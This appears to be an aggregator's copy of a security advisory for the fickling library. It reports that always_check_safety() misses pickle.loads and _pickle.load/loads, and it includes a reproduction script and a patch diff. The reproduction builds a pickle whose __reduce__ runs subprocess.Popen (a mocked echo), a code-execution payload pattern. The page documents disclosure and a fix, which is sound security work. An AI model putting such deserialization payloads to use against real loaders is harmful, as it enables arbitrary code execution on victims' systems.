🛡️ GHSA-wccx-j62j-r448 — fickling

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-693 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Fickling has always_check_safety() bypass: pickle.loads and _pickle.loads remain unhooked

# Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

# Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook().

Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only:

  • pickle.load
  • pickle.Unpickler
  • _pickle.Unpickler

It does not patch:

  • pickle.loads
  • _pickle.load
  • _pickle.loads

Reproduction (clean upstream)

```python

import io, pickle, _pickle

from unittest.mock import patch

import fickling

from fickling.exception import UnsafeFileError

class Payload:

def __reduce__(self):

import subprocess

return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())

fickling.always_check_safety()

# Bypass path

with patch('subprocess.Popen') as popen_mock:

pickle.loads(data)

print('bypass sink called?', popen_mock.called) # True

# Control path is blocked

with patch('subprocess.Popen') as popen_mock:

try:

pickle.load(io.BytesIO(data))

except UnsafeFileError:

pass

print('blocked sink called?', popen_mock.called) # False

```

Observed on vulnerable code:

  • pickle.loads executes payload
  • pickle.load is blocked

Minimal patch diff

```diff

--- a/fickling/hook.py

+++ b/fickling/hook.py

@@

def run_hook():

  • pickle.load = loader.load

+ pickle.load = loader.load

+ _pickle.load = loader.load

+ pickle.loads = loader.loads

+ _pickle.loads = loader.loads

```

Validation after patch

  • pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
  • sink not called in any path

Regression tests added locally:

  • test_run_hook_blocks_pickle_loads
  • test_run_hook_blocks__pickle_load_and_loads

in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

GHSA-wccx-j62j-r448 is classified as CWE-693: Protection Mechanism Failure. A protection exists but does not cover the case at hand, so it can be worked around.

Affected software

GHSA-wccx-j62j-r448 is recorded against 1 package.

  • fickling (fixed in 0.1.9)

Timeline and source

Published on 4 March 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CWE CWE-693
Public Exploit ✅ No
Source OSV
Published 2026-03-04
Updated 2026-08-20
Modified 2026-03-04
Fix URL N/A

Affected Packages

Software From version Fixed in
fickling 0.1.9

Site Security Check

Is fickling part of your stack?

GHSA-wccx-j62j-r448 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated